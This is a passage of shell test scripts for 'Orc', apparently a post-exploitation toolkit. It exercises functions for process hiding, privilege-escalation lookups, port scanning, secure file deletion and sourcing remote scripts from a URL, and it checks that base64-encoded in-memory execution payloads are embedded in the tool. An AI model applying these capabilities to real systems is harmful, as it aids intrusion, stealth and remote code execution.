test_orc_loadURL () { 163 | # Test the orc_loadURL function 164 | output=$(orc_loadURL https://raw.githubusercontent.com/zMarch/Orc/master/resources/echo_arguments.sh) 165 | assertEquals 'returned false' 0 $? 166 | assertNotNull 'output is null' "$output" 167 | assertTrue 'less than 10 lines' "[ $(echo "$output"|wc -l) -ge 10 ]" 168 | assertTrue 'less than 50 words' "[ $(echo "$output"|wc -w) -ge 50 ]" 169 | assertContains 'in download' "$output" '#!' 170 | assertContains 'in download' "$output" 'echo' 171 | error=$(orc_loadURL https://raw.githubusercontent.com/zMarch/Orc/master/resources/echo_arguments.sh 2>&1 > /dev/null) 172 | assertNull 'error message' "$error" 173 | if [ -n "$error" ]; then echo "--> $error"; fi 174 | } 175 | 176 | 177 | test_orc_tryTcpConnection () { 178 | # Test the orc_tryTcpConnection function 179 | output=$(orc_tryTcpConnection 'raw.githubusercontent.com' 80 2>&1) 180 | assertEquals 'returned false' 0 $? 181 | assertNull 'output is not null' "$output" 182 | if [ -n "$output" ]; then echo "--> $output"; fi 183 | output=$(orc_tryTcpConnection 'raw.githubusercontent.com' 43 2>&1) 184 | assertNotEquals 'returned not false' 0 $? 185 | assertNull 'output is not null' "$output" 186 | if [ -n "$output" ]; then echo "--> $output"; fi 187 | } 188 | 189 | 190 | test_orc_listTmp () { 191 | # Test the orc_listTmp function 192 | output=$(orc_listTmp) 193 | assertEquals 'returned false' 0 $? 194 | assertNotNull 'output is null' "$output" 195 | assertTrue 'less than 3 lines' "[ $(echo "$output"|wc -l) -ge 3 ]" 196 | echo "$output" | 197 | while read -r t; do 198 | assertTrue 'not directory' "[ -d $t ]" 199 | done 200 | error=$(orc_listTmp 2>&1 > /dev/null) 201 | assertNull 'error message' "$error" 202 | if [ -n "$error" ]; then echo "--> $error"; fi 203 | } 204 | 205 | 206 | test_orc_makeHome () { 207 | # Test the orc_makeHome function 208 | output=$(orc_makeHome 2>&1) 209 | assertEquals 'returned false' 0 $? 210 | assertNull 'output is not null' "$output" 211 | if [ -n "$output" ]; then echo "--> $output"; fi 212 | assertNotNull 'HOME' "$HOME" 213 | assertTrue 'not directory' "[ -d $HOME ]" 214 | } 215 | 216 | 217 | # TODO: add test of orc_archive 218 | 219 | 220 | test_orc_createEchoFile () { 221 | # Test the orc_createEchoFile function 222 | output=$(orc_createEchoFile argument_A argument_BB 2>&1) 223 | assertEquals 'returned false' 0 $? 224 | assertNull 'output is not null' "$output" 225 | if [ -n "$output" ]; then echo "--> $output"; fi 226 | orc_createEchoFile argument_A argument_BB 227 | assertEquals 'returned false' 0 $? 228 | assertNotNull 'ORC_ECHO_FILE' "$ORC_ECHO_FILE" 229 | assertTrue 'not file' "[ -f $ORC_ECHO_FILE ]" 230 | output=$("$ORC_ECHO_FILE") 231 | assertEquals 'returned false' 0 $? 232 | assertNotNull 'output is null' "$output" 233 | assertContains 'in return' "$output" 'argument_A' 234 | assertContains 'in return' "$output" 'argument_BB' 235 | } 236 | 237 | 238 | # TODO: add test of orc_httpsProxyReminder 239 | 240 | 241 | test_orc_log2outp () { 242 | # Test the orc_log2outp function 243 | OUTP="$HOME" 244 | assertNotNull 'outp' "$OUTP" 245 | output=$(orc_log2outp testA ' this is not a program name ' 2>&1) 246 | assertNotEquals 'returned not false' 0 $? 247 | assertNull 'output is not null' "$output" 248 | if [ -n "$output" ]; then echo "--> $output"; fi 249 | assertTrue 'output file' "[ -f 'testA.txt' ]" 250 | assertTrue 'error file' "[ -f 'testA.err' ]" 251 | output=$(cat 'testA.txt') 252 | error=$(cat 'testA.err') 253 | assertNull 'output file (T1)' "$output" 254 | assertNotNull 'error file (T2)' "$error" 255 | orc_log2outp testA pwd 256 | output=$(cat 'testA.txt') 257 | error=$(cat 'testA.err') 258 | assertNotNull 'output file (T2)' "$output" 259 | assertNotNull 'error file (T2)' "$error" 260 | rm -f 'testA.err' 261 | orc_createEchoFile argument_A argument_BB 262 | orc_log2outp testA "$ORC_ECHO_FILE" 263 | output=$(cat 'testA.txt') 264 | error=$(cat 'testA.err') 265 | assertNotNull 'output file (T3)' "$output" 266 | assertNull 'error file (T3)' "$error" 267 | assertContains 'in return' "$output" 'argument_A' 268 | assertContains 'in return' "$output" 'argument_BB' 269 | } 270 | 271 | 272 | test_orc_listUsers () { 273 | # Test the orc_listUsers function 274 | output=$(orc_listUsers) 275 | assertEquals 'returned false' 0 $? 276 | assertNotNull 'output is null' "$output" 277 | assertTrue 'less than 1 line' "[ $(echo "$output"|wc -l) -ge 1 ]" 278 | # One user per line = one word per line 279 | assertEquals 'lines and words' "$(echo "$output"|wc -l)" "$(echo "$output"|wc -w)" 280 | error=$(orc_listUsers 2>&1 > /dev/null) 281 | assertNull 'error message' "$error" 282 | if [ -n "$error" ]; then echo "--> $error"; fi 283 | } 284 | 285 | 286 | test_orc_homeOfUserID () { 287 | # Test the orc_homeOfUserID function 288 | for userid in 0 1 $(id -u) 289 | do 290 | output=$(orc_homeOfUserID "$userid") 291 | assertEquals 'returned false' 0 $? 292 | assertNotNull 'output is null' "$output" 293 | error=$(orc_homeOfUserID "$userid" 2>&1 > /dev/null) 294 | assertNull 'error message' "$error" 295 | if [ -n "$error" ]; then echo "--> $error"; fi 296 | done 297 | } 298 | 299 | 300 | test_orc_homeOfCurrentUser () { 301 | # Test the orc_homeOfCurrentUser function 302 | output=$(orc_homeOfCurrentUser) 303 | assertEquals 'returned false' 0 $? 304 | assertNotNull 'output is null' "$output" 305 | assertTrue 'home must be a dir' "[ -d $output ]" 306 | error=$(orc_homeOfCurrentUser 2>&1 > /dev/null) 307 | assertNull 'error message' "$error" 308 | if [ -n "$error" ]; then echo "--> $error"; fi 309 | } 310 | 311 | 312 | test_orc_ourPts () { 313 | # Test the orc_ourPts function 314 | output=$(orc_ourPts) 315 | assertEquals 'returned false' 0 $? 316 | if [ -n "$output" ]; then 317 | assertTrue 'must be 1 line' "[ $(echo "$output"|wc -l) -eq 1 ]" 318 | assertTrue 'must not negative number' "[ $output -ge 0 ]" 319 | fi 320 | error=$(orc_ourPts 2>&1 > /dev/null) 321 | assertNull 'error message' "$error" 322 | if [ -n "$error" ]; then echo "--> $error"; fi 323 | } 324 | 325 | 326 | test_orc_isMinimalOsVersion () { 327 | # Test the orc_isMinimalOsVersion function 328 | output=$(orc_isMinimalOsVersion Linux 1 0 2>&1) 329 | assertEquals 'returned false (1)' 0 $? 330 | assertNull 'message (1)' "$output" 331 | if [ -n "$output" ]; then echo "--> $output"; fi 332 | output=$(orc_isMinimalOsVersion Linux 1 120 2>&1) 333 | assertEquals 'returned false (2)' 0 $? 334 | assertNull 'message (2)' "$output" 335 | if [ -n "$output" ]; then echo "--> $output"; fi 336 | output=$(orc_isMinimalOsVersion ThisIsNotAnOsName 1 0 2>&1) 337 | assertNotEquals 'returned not false (3)' 0 $? 338 | assertNull 'message (3)' "$output" 339 | if [ -n "$output" ]; then echo "--> $output"; fi 340 | output=$(orc_isMinimalOsVersion Linux 123 0 2>&1) 341 | assertNotEquals 'returned not false (4)' 0 $? 342 | assertNull 'message (4)' "$output" 343 | if [ -n "$output" ]; then echo "--> $output"; fi 344 | } 345 | 346 | 347 | test_orc_filterIpAddress () { 348 | # Test the orc_filterIpAddress function 349 | testinput=' 350 | ether 50:46:5d:dd:05:20 txqueuelen 1000 (Ethernet) 351 | RX packets 0 bytes 0 (0.0 B) 352 | lo: flags=73 mtu 65536 353 | inet 127.0.0.1 netmask 255.0.0.0 354 | inet6 ::1 prefixlen 128 scopeid 0x10 355 | loop txqueuelen 1000 (Local Loopback) 356 | TX packets 784 bytes 63597 (63.5 KB) 357 | wlp3s0: flags=4163 mtu 1500 358 | inet 172.17.2.7 netmask 255.255.255.0 broadcast 172.17.2.255 359 | inet6 fe80::8836:5635:53b7:5706 prefixlen 64 scopeid 0x20 360 | ether 68:5d:43:b0:31:82 txqueuelen 1000 (Ethernet) 361 | TX packets 3205 bytes 595218 (595.2 KB) 362 | TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 363 | 0.0.0.0 364 | 1.2.3 365 | 1.2.3.4 366 | 255.255.255.255 367 | 500.500.500.500 368 | ' 369 | correctoutput='127.0.0.1 370 | 172.17.2.7 371 | fe80::8836:5635:53b7:5706 372 | 0.0.0.0 373 | 1.2.3.4 374 | 255.255.255.255 375 | 500.500.500.500' 376 | output=$(echo "$testinput" | orc_filterIpAddress 2>&1) 377 | assertEquals 'returned false' 0 $? 378 | assertNotNull 'output is null' "$output" 379 | assertEquals 'output invalid' "$correctoutput" "$output" 380 | if [ ! "$correctoutput" = "$output" ]; then echo "--> $output"; fi 381 | } 382 | 383 | 384 | # TODO: add test of funtcion orc_pingBroadcast 385 | # (possible way: replace ping with a function named ping 386 | # which writes the addresses into a file.) 387 | 388 | test_orc_listHomes () { 389 | # Test the orc_listHomes function 390 | output=$(orc_listHomes) 391 | assertEquals 'returned false' 0 $? 392 | assertNotNull 'output is null' "$output" 393 | assertTrue 'less than 3 lines' "[ $(echo "$output"|wc -l) -ge 3 ]" 394 | echo "$output" | 395 | while read -r t; do 396 | assertTrue 'not directory' "[ -d $t ]" 397 | done 398 | error=$(orc_listHomes 2>&1 > /dev/null) 399 | assertNull 'error message' "$error" 400 | if [ -n "$error" ]; then echo "--> $error"; fi 401 | } 402 | 403 | 404 | test_orc_flatFileName () { 405 | # Test the orc_flatFileName function 406 | output=$(orc_flatFileName "test" 2>&1) 407 | assertEquals 'returned false (1)' 0 $? 408 | assertEquals 'check (1)' "test" "$output" 409 | output=$(orc_flatFileName "test second" 2>&1) 410 | assertEquals 'returned false (2)' 0 $? 411 | assertEquals 'check (2)' "test second" "$output" 412 | output=$(orc_flatFileName "test/second" 2>&1) 413 | assertEquals 'returned false (3)' 0 $? 414 | assertEquals 'check (3)' "test_second" "$output" 415 | output=$(orc_flatFileName "/test" 2>&1) 416 | assertEquals 'returned false (4)' 0 $? 417 | assertEquals 'check (4)' "_test" "$output" 418 | output=$(orc_flatFileName "/test/second" 2>&1) 419 | assertEquals 'returned false (5)' 0 $? 420 | assertEquals 'check (5)' "_test_second" "$output" 421 | output=$(orc_flatFileName "/test/second/" 2>&1) 422 | assertEquals 'returned false (6)' 0 $? 423 | assertEquals 'check (6)' "_test_second_" "$output" 424 | } 425 | 426 | 427 | test_orc_testAndCopy () { 428 | # Test the orc_testAndCopy function. 429 | mkdir _test_source 430 | mkdir _test_destination 431 | echo "File 1" > _test_source/f1 432 | echo "File 2" > _test_source/f2 433 | echo "File 3" > _test_source/f3 434 | chmod 222 _test_source/f2 435 | chmod 700 _test_source/f3 436 | output=$(orc_testAndCopy _test_source/f1 _test_destination 2>&1) 437 | assertEquals 'returned false (1)' 0 $? 438 | assertNull 'output not null (1)' "$output" 439 | output=$(orc_testAndCopy _test_source/f2 _test_destination 2>&1) 440 | assertEquals 'returned false (2)' 0 $? 441 | assertNull 'output not null (2)' "$output" 442 | output=$(orc_testAndCopy _test_source/f3 _test_destination 2>&1) 443 | assertEquals 'returned false (3)' 0 $? 444 | assertNull 'output not null (3)' "$output" 445 | output=$(orc_testAndCopy _test_source/ff _test_destination 2>&1) 446 | assertEquals 'returned false (4)' 0 $? 447 | assertNull 'output not null (4)' "$output" 448 | assertTrue 'missing (1)' "[ -f _test_destination/_test_source_f1 ]" 449 | assertFalse 'existing (2)' "[ -f _test_destination/_test_source_f2 ]" 450 | assertTrue 'missing (3)' "[ -f _test_destination/_test_source_f3 ]" 451 | assertFalse 'existing (4)' "[ -f _test_destination/_test_source_ff ]" 452 | rm -fr _test_source 453 | rm -fr _test_destination 454 | } 455 | 456 | 457 | # TODO: add test of orc_collectOtherHostsInfo 458 | 459 | 460 | test_orc_IP4toInteger () { 461 | # Tests the orc_IP4toInteger function. 462 | output=$(orc_IP4toInteger 0.0.0.1 2>&1) 463 | assertEquals 'returned false (1)' 0 $? 464 | assertEquals 'output (1)' 1 "$output" 465 | output=$(orc_IP4toInteger 0.0.1.1 2>&1) 466 | assertEquals 'returned false (2)' 0 $? 467 | assertEquals 'output (2)' 257 "$output" 468 | output=$(orc_IP4toInteger 0.1.1.1 2>&1) 469 | assertEquals 'returned false (3)' 0 $? 470 | assertEquals 'output (3)' 65793 "$output" 471 | output=$(orc_IP4toInteger 1.1.1.1 2>&1) 472 | assertEquals 'returned false (4)' 0 $? 473 | assertEquals 'output (4)' 16843009 "$output" 474 | } 475 | 476 | 477 | test_orc_integerToIP4 () { 478 | # Tests the orc_integerToIP4 function. 479 | output=$(orc_integerToIP4 1 2>&1) 480 | assertEquals 'returned false (1)' 0 $? 481 | assertEquals 'output (1)' 0.0.0.1 "$output" 482 | output=$(orc_integerToIP4 257 2>&1) 483 | assertEquals 'returned false (2)' 0 $? 484 | assertEquals 'output (2)' 0.0.1.1 "$output" 485 | output=$(orc_integerToIP4 65793 2>&1) 486 | assertEquals 'returned false (3)' 0 $? 487 | assertEquals 'output (3)' 0.1.1.1 "$output" 488 | output=$(orc_integerToIP4 16843009 2>&1) 489 | assertEquals 'returned false (4)' 0 $? 490 | assertEquals 'output (4)' 1.1.1.1 "$output" 491 | for n in 0 1 7 2 21 24 32 128 200 255 492 | do 493 | for t in "$n.2.4.8" "$n.0.0.0" "$n.255.255.255" "$n.128.64.32" "$n.22.23.24" 494 | do 495 | assertEquals "$t" "$(orc_integerToIP4 "$(orc_IP4toInteger $t)")" 496 | error=$(orc_IP4toInteger $t 2>&1 > /dev/null) 497 | assertNull 'error message (1)' "$error" 498 | if [ -n "$error" ]; then echo "--> $error"; fi 499 | error=$(orc_integerToIP4 "$(orc_IP4toInteger $t)" 2>&1 > /dev/null) 500 | assertNull 'error message (2)' "$error" 501 | if [ -n "$error" ]; then echo "--> $error"; fi 502 | done 503 | done 504 | } 505 | 506 | 507 | test_orc_firstIP4integer() { 508 | # Tests the orc_firstIP4integer function 509 | output=$(orc_integerToIP4 "$(orc_firstIP4integer "$(orc_IP4toInteger 172.17.2.15)" "$(orc_IP4toInteger 255.255.255.0)")") 510 | assertEquals 'returned false (1)' 0 $? 511 | assertEquals 'output (1)' 172.17.2.1 "$output" 512 | output=$(orc_integerToIP4 "$(orc_firstIP4integer "$(orc_IP4toInteger 172.17.2.15)" "$(orc_IP4toInteger 255.255.255.192)")") 513 | assertEquals 'returned false (2)' 0 $? 514 | assertEquals 'output (2)' 172.17.2.1 "$output" 515 | output=$(orc_integerToIP4 "$(orc_firstIP4integer "$(orc_IP4toInteger 172.17.2.15)" "$(orc_IP4toInteger 255.255.240.0)")") 516 | assertEquals 'returned false (3)' 0 $? 517 | assertEquals 'output (3)' 172.17.0.1 "$output" 518 | } 519 | 520 | 521 | test_orc_lastIP4integer() { 522 | # Tests the orc_firstIP4integer function 523 | output=$(orc_integerToIP4 "$(orc_lastIP4integer "$(orc_IP4toInteger 172.17.2.15)" "$(orc_IP4toInteger 255.255.255.0)")") 524 | assertEquals 'returned false (1)' 0 $? 525 | assertEquals 'output (1)' 172.17.2.254 "$output" 526 | output=$(orc_integerToIP4 "$(orc_lastIP4integer "$(orc_IP4toInteger 172.17.2.15)" "$(orc_IP4toInteger 255.255.255.192)")") 527 | assertEquals 'returned false (2)' 0 $? 528 | assertEquals 'output (2)' 172.17.2.62 "$output" 529 | output=$(orc_integerToIP4 "$(orc_lastIP4integer "$(orc_IP4toInteger 172.17.2.15)" "$(orc_IP4toInteger 255.255.240.0)")") 530 | assertEquals 'returned false (3)' 0 $? 531 | assertEquals 'output (3)' 172.17.15.254 "$output" 532 | } 533 | 534 | 535 | test_orc_lengthToIP4netmask() { 536 | # Tests the orc_lengthToIP4netmask function 537 | output=$(orc_lengthToIP4netmask 1 2>&1) 538 | assertEquals 'returned false (1)' 0 $? 539 | assertEquals 'output (1)' 128.0.0.0 "$output" 540 | output=$(orc_lengthToIP4netmask 20 2>&1) 541 | assertEquals 'returned false (2)' 0 $? 542 | assertEquals 'output (2)' 255.255.240.0 "$output" 543 | output=$(orc_lengthToIP4netmask 24 2>&1) 544 | assertEquals 'returned false (3)' 0 $? 545 | assertEquals 'output (3)' 255.255.255.0 "$output" 546 | output=$(orc_lengthToIP4netmask 26 2>&1) 547 | assertEquals 'returned false (4)' 0 $? 548 | assertEquals 'output (4)' 255.255.255.192 "$output" 549 | } 550 | 551 | 552 | oneTimeSetUp() { 553 | # Loads the orc at test setup 554 | # shellcheck disable=SC1091 555 | . ./o.rc > /dev/null 556 | } 557 | 558 | 559 | # shellcheck disable=SC1091 560 | . ./shunit2/shunit2 561 | -------------------------------------------------------------------------------- /tests/run_shunit2_user.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | # 3 | # Tests with shunit2 test framework. 4 | # 5 | # The script is designed for a start via start_shunit2.sh 6 | # 7 | # Tests of the user level functions are collecte here. 8 | # 9 | # Name of the test functions are "test_FKT" where FKT is the name 10 | # of the tested function. 11 | # 12 | 13 | # The shunit2 framework must be loaded in the ./shunit2 directory. 14 | if [ ! -f ./shunit2/shunit2 ]; then 15 | echo 'Error: missing the shunit2 script' >&2 16 | exit 1 17 | fi 18 | # The o.rc must be located in the cwd directory. 19 | if [ ! -f ./o.rc ]; then 20 | echo 'missing the o.rc script in the cwd' >&2 21 | exit 1 22 | fi 23 | 24 | 25 | test_gethelp() { 26 | # Test the gethelp function 27 | output=$(gethelp 2> /dev/null) 28 | assertEquals 'returned false' 0 $? 29 | assertNotNull 'output is null' "$output" 30 | assertContains 'in output' "$output" 'Orc' 31 | assertTrue 'less than 5 lines' "[ $(echo "$output"|wc -l) -ge 5 ]" 32 | error=$(gethelp 2>&1 > /dev/null) 33 | assertNull 'error message' "$error" 34 | if [ -n "$error" ]; then echo "--> $error"; fi 35 | } 36 | 37 | 38 | test_getgtfobins() { 39 | # Test the getgtfobins function 40 | output=$(getgtfobins 2> /dev/null) 41 | assertEquals 'returned false' 0 $? 42 | assertNotNull 'output is null' "$output" 43 | assertContains 'in output' "$output" 'GTFOBins:' 44 | assertTrue 'less than 5 lines' "[ $(echo "$output"|wc -l) -ge 5 ]" 45 | error=$(getgtfobins 2>&1 > /dev/null) 46 | assertNull 'error message' "$error" 47 | if [ -n "$error" ]; then echo "--> $error"; fi 48 | } 49 | 50 | 51 | test_getsfiles() { 52 | # Test the getsfiles function 53 | error=$(getsfiles background 2>&1 > /dev/null) 54 | assertNull 'error message in background mode' "$error" 55 | if [ -n "$error" ]; then echo "--> $error"; fi 56 | output=$(getsfiles 2> /dev/null) 57 | assertEquals 'returned false' 0 $? 58 | assertNotNull 'output is null' "$output" 59 | assertContains 'in output' "$output" 'root' 60 | assertTrue 'less than 5 lines' "[ $(echo "$output"|wc -l) -ge 5 ]" 61 | error=$(getsfiles 2>&1 > /dev/null) 62 | assertNull 'error message' "$error" 63 | if [ -n "$error" ]; then echo "--> $error"; fi 64 | assertTrue 'missing sfiles' "[ -f sfiles ]" 65 | assertTrue 'less than 5 lines in sfiles' "[ $(wc -l < sfiles) -ge 5 ]" 66 | rm -f sfiles 67 | } 68 | 69 | 70 | test_dropsuid() { 71 | # Test the dropsuid function 72 | error=$(dropsuid 2>&1 > /dev/null) 73 | assertEquals 'returned false' 0 $? 74 | assertNull 'error message' "$error" 75 | if [ -n "$error" ]; then echo "--> $error"; fi 76 | # TODO: add more checks 77 | } 78 | 79 | 80 | #test_getdbus() { 81 | # Run with Travis CI raises the error: 82 | # Failed to open connection to "session" message bus: Unable to autolaunch a dbus-daemon without a $DISPLAY for X11 83 | # # Test the getdbus function 84 | # error=$(getdbus 2>&1 > /dev/null) 85 | # assertEquals 'returned false' 0 $? 86 | # assertNull 'error message' "$error" 87 | # if [ -n "$error" ]; then echo "--> $error"; fi 88 | # # TODO: add more checks 89 | #} 90 | 91 | 92 | test_getdocker() { 93 | # Test the getdocker function 94 | error=$(getdocker 2>&1 > /dev/null) 95 | assertEquals 'returned false' 0 $? 96 | assertNull 'error message' "$error" 97 | if [ -n "$error" ]; then echo "--> $error"; fi 98 | # TODO: add more checks 99 | } 100 | 101 | 102 | test_getenum() { 103 | # Test the getenum function 104 | error=$(getenum 2>&1 > /dev/null) 105 | assertEquals 'returned false' 0 $? 106 | assertNull 'error message' "$error" 107 | if [ -n "$error" ]; then echo "--> $error"; fi 108 | # TODO: add more checks 109 | } 110 | 111 | 112 | test_getescape() { 113 | # Test the getescape function 114 | error=$(getescape 2>&1 > /dev/null) 115 | assertEquals 'returned false' 0 $? 116 | assertNull 'error message' "$error" 117 | if [ -n "$error" ]; then echo "--> $error"; fi 118 | # TODO: add more checks 119 | } 120 | 121 | 122 | test_getexploit() { 123 | # Test the getexploit function 124 | error=$(getexploit 2>&1 > /dev/null) 125 | assertEquals 'returned false' 0 $? 126 | assertNull 'error message' "$error" 127 | if [ -n "$error" ]; then echo "--> $error"; fi 128 | # TODO: add more checks 129 | } 130 | 131 | 132 | test_getidle() { 133 | # Test the getidle function 134 | error=$(getidle 2>&1 > /dev/null) 135 | assertEquals 'returned false' 0 $? 136 | assertNull 'error message' "$error" 137 | if [ -n "$error" ]; then echo "--> $error"; fi 138 | # TODO: add more checks 139 | } 140 | 141 | 142 | #test_getinfo() { 143 | # # Test the getinfo function 144 | # error=$(getinfo 2>&1 > /dev/null) 145 | # assertEquals 'returned false' 0 $? 146 | # TODO: suppress message "Removing leading '/' from member names 147 | # assertNull 'error message' "$error" 148 | # if [ -n "$error" ]; then echo "--> $error"; fi 149 | # # TODO: add more checks 150 | #} 151 | 152 | 153 | test_getip() { 154 | # Test the getip function 155 | error=$(getip 2>&1 > /dev/null) 156 | assertEquals 'returned false' 0 $? 157 | assertNull 'error message' "$error" 158 | if [ -n "$error" ]; then echo "--> $error"; fi 159 | # TODO: add more checks 160 | } 161 | 162 | 163 | test_getjail() { 164 | # Test the getjail function 165 | error=$(getjail 2>&1 > /dev/null) 166 | assertEquals 'returned false' 0 $? 167 | assertNull 'error message' "$error" 168 | if [ -n "$error" ]; then echo "--> $error"; fi 169 | # TODO: add more checks 170 | } 171 | 172 | 173 | test_getluks() { 174 | # Test the getluks function 175 | error=$(getluks 2>&1 > /dev/null) 176 | assertEquals 'returned false' 0 $? 177 | assertNull 'error message' "$error" 178 | if [ -n "$error" ]; then echo "--> $error"; fi 179 | # TODO: add more checks 180 | } 181 | 182 | 183 | #test_getnet() { 184 | # # Test the getnet function 185 | # error=$(getnet 2>&1 > /dev/null) 186 | # assertEquals 'returned false' 0 $? 187 | # TODO: suppress message "Removing leading '/' from member names 188 | # assertNull 'error message' "$error" 189 | # if [ -n "$error" ]; then echo "--> $error"; fi 190 | # # TODO: add more checks 191 | #} 192 | 193 | 194 | test_getrel() { 195 | # Test the getrel function 196 | error=$(getrel 2>&1 > /dev/null) 197 | assertEquals 'returned false' 0 $? 198 | assertNull 'error message' "$error" 199 | if [ -n "$error" ]; then echo "--> $error"; fi 200 | # TODO: add more checks 201 | } 202 | 203 | 204 | test_getsec() { 205 | # Test the getsec function 206 | error=$(getsec 2>&1 > /dev/null) 207 | assertEquals 'returned false' 0 $? 208 | assertNull 'error message' "$error" 209 | if [ -n "$error" ]; then echo "--> $error"; fi 210 | # TODO: add more checks 211 | } 212 | 213 | 214 | test_getspec() { 215 | # Test the getspec function 216 | error=$(getspec 2>&1 > /dev/null) 217 | assertEquals 'returned false' 0 $? 218 | assertNull 'error message' "$error" 219 | if [ -n "$error" ]; then echo "--> $error"; fi 220 | # TODO: add more checks 221 | } 222 | 223 | 224 | test_getsctp() { 225 | # Test the getsctp function 226 | error=$(getsctp 2>&1 > /dev/null) 227 | assertEquals 'returned false' 0 $? 228 | assertNull 'error message' "$error" 229 | if [ -n "$error" ]; then echo "--> $error"; fi 230 | # TODO: add more checks 231 | } 232 | 233 | 234 | test_gettmp() { 235 | # Test the gettmp function 236 | error=$(gettmp 2>&1 > /dev/null) 237 | assertEquals 'returned false' 0 $? 238 | assertNull 'error message' "$error" 239 | if [ -n "$error" ]; then echo "--> $error"; fi 240 | # TODO: add more checks 241 | } 242 | 243 | 244 | test_getusers() { 245 | # Test the getusers function 246 | error=$(getusers 2>&1 > /dev/null) 247 | assertEquals 'returned false' 0 $? 248 | assertNull 'error message' "$error" 249 | if [ -n "$error" ]; then echo "--> $error"; fi 250 | # TODO: add more checks 251 | } 252 | 253 | 254 | test_getuservices() { 255 | # Test the getuservices function 256 | error=$(getuservices 2>&1 > /dev/null) 257 | assertEquals 'returned false' 0 $? 258 | assertNull 'error message' "$error" 259 | if [ -n "$error" ]; then echo "--> $error"; fi 260 | # TODO: add more checks 261 | } 262 | 263 | 264 | test_portscan() { 265 | # Test the portscan function 266 | error=$(portscan localhost 2>&1 > /dev/null) 267 | assertEquals 'returned false' 0 $? 268 | assertNull 'error message' "$error" 269 | if [ -n "$error" ]; then echo "--> $error"; fi 270 | # TODO: add more checks 271 | } 272 | 273 | 274 | test_prochide() { 275 | # Test the prochide function 276 | error=$(prochide 2>&1 > /dev/null) 277 | assertEquals 'returned false' 0 $? 278 | assertNull 'error message' "$error" 279 | if [ -n "$error" ]; then echo "--> $error"; fi 280 | # TODO: add more checks 281 | } 282 | 283 | 284 | test_sourceurl() { 285 | # Test the sourceurl function 286 | output=$(sourceurl https://raw.githubusercontent.com/zMarch/Orc/master/resources/echo_function.sh 2>&1) 287 | assertEquals 'returned false' 0 $? 288 | assertNull 'output not null' "$output" 289 | if [ -n "$output" ]; then echo "--> $output"; fi 290 | # The call before loads the script only in a subshell. Now load the script in the 291 | # current shell. 292 | sourceurl https://raw.githubusercontent.com/zMarch/Orc/master/resources/echo_function.sh 293 | assertEquals 'returned false' 0 $? 294 | error=$(echo_function 2>&1 > /dev/null) 295 | assertEquals 'returned false' 0 $? 296 | assertNull 'error message' "$error" 297 | if [ -n "$error" ]; then echo "--> $error"; fi 298 | output=$(echo_function argument_1 argument_2) 299 | assertContains 'in return' "$output" 'argument_1' 300 | assertContains 'in return' "$output" 'argument_2' 301 | } 302 | 303 | 304 | test_srm() { 305 | # Test the srm function 306 | echo "test file for srm" > test_file_for_srm 307 | # remove one file 308 | error=$(srm test_file_for_srm 2>&1) 309 | assertEquals 'returned false (1)' 0 $? 310 | assertNull 'error message (1)' "$error" 311 | if [ -n "$error" ]; then echo "--> $error"; fi 312 | echo "test file 1 for srm" > test_file1_for_srm 313 | echo "test file 2 for srm" > test_file2_for_srm 314 | # remove two files 315 | error=$(srm test_file1_for_srm test_file2_for_srm 2>&1) 316 | assertEquals 'returned falsei (2)' 0 $? 317 | assertNull 'error message (2)' "$error" 318 | if [ -n "$error" ]; then echo "--> $error"; fi 319 | assertFalse 'test file not removed' "[ -e test_file_for_srm ]" 320 | assertFalse 'test file 1 not removed' "[ -e test_file1_for_srm ]" 321 | assertFalse 'test file 2 not removed' "[ -e test_file2_for_srm ]" 322 | } 323 | 324 | 325 | test_tools() { 326 | # Test the tools function 327 | error=$(tools 2>&1 > /dev/null) 328 | assertEquals 'returned false' 0 $? 329 | # Some missing tools are normal. So $error could be contain messages 330 | # assertNull 'error message' "$error" 331 | if [ -n "$error" ]; then echo "--> $error"; fi 332 | # TODO: add more checks 333 | } 334 | 335 | 336 | oneTimeSetUp() { 337 | # Loads the orc at test setup 338 | # shellcheck disable=SC1091 339 | . ./o.rc > /dev/null 340 | } 341 | 342 | 343 | # shellcheck disable=SC1091 344 | . ./shunit2/shunit2 345 | -------------------------------------------------------------------------------- /tests/scripts_included.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | # 3 | # Tests 4 | # 5 | # - The current scripts in the resources sub-directory must be 6 | # included into the o.rc script. 7 | # - The used quoated http and https addresses must be accessable. 8 | # 9 | 10 | # The error flag will be set to 1 if an test fail 11 | errorFlag=0 12 | 13 | # Path to the resources files 14 | readonly res=resources 15 | 16 | # The memexec.pl must be included as base64 blob in the Orc script. 17 | echo 'check - memexec.pl is included' 18 | if ! $res/encode_perl_script.sh $res/memexec.pl; then 19 | echo 'ERROR: encode_perl_script memexec failed' >&2 20 | errorFlag=1 21 | else 22 | encoded=$(cat resources/memexec.pl.base64) 23 | if ! grep --quiet "$encoded" -- o.rc; then 24 | echo 'ERROR: memexec.pl is not included' >&2 25 | errorFlag=1 26 | fi 27 | fi 28 | 29 | # The memexec.py must be included as bas64 blob in the Orc script. 30 | echo 'Check - memexec.py is included' 31 | if ! $res/encode_python_script.sh $res/memexec.py; then 32 | echo 'ERROR: encode_python_script memexec failed' >&2 33 | errorFlag=1 34 | else 35 | encoded=$(cat resources/memexec.py.base64) 36 | if ! grep --quiet "$encoded" -- o.rc; then 37 | echo 'ERROR: memexec.py is not included' >&2 38 | errorFlag=1 39 | fi 40 | fi 41 | 42 | # Check the included http and https expressions. 43 | # Checks only the single-quated expression. Other strings could 44 | # contain shell variables. 45 | urls=$(grep --ignore-case --only-matching --extended-regexp "'https?://[^']+'" o.rc) 46 | if [ -z "$urls" ]; then 47 | echo 'ERROR: no http/https addresses found' >&2 48 | errorFlag=1 49 | fi 50 | for address in $urls; do 51 | address=${address%\'} 52 | address=${address#\'} 53 | if ! head=$(curl --head --silent --insecure --location "$address"); then 54 | echo "ERROR: can not download '$address'" >&2 55 | errorFlag=1 56 | fi 57 | if [ -z "$head" ]; then 58 | echo "ERROR: can not download head of '$address'" >&2 59 | errorFlag=1 60 | fi 61 | done 62 | 63 | exit $errorFlag 64 | -------------------------------------------------------------------------------- /tests/start_shunit2.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | # 3 | # Tests 4 | # 5 | # Starts a test with the shunit2 test framework. 6 | # - Downloads the shunit2 test framework 7 | # - Starts the test script with o.rc 8 | # Argument: the shell to use. 9 | # 10 | 11 | if [ $# -ne 1 ]; then 12 | echo 'ERROR: script needs shell (bash, dash, ksh, ash) as argument' >&2 13 | exit 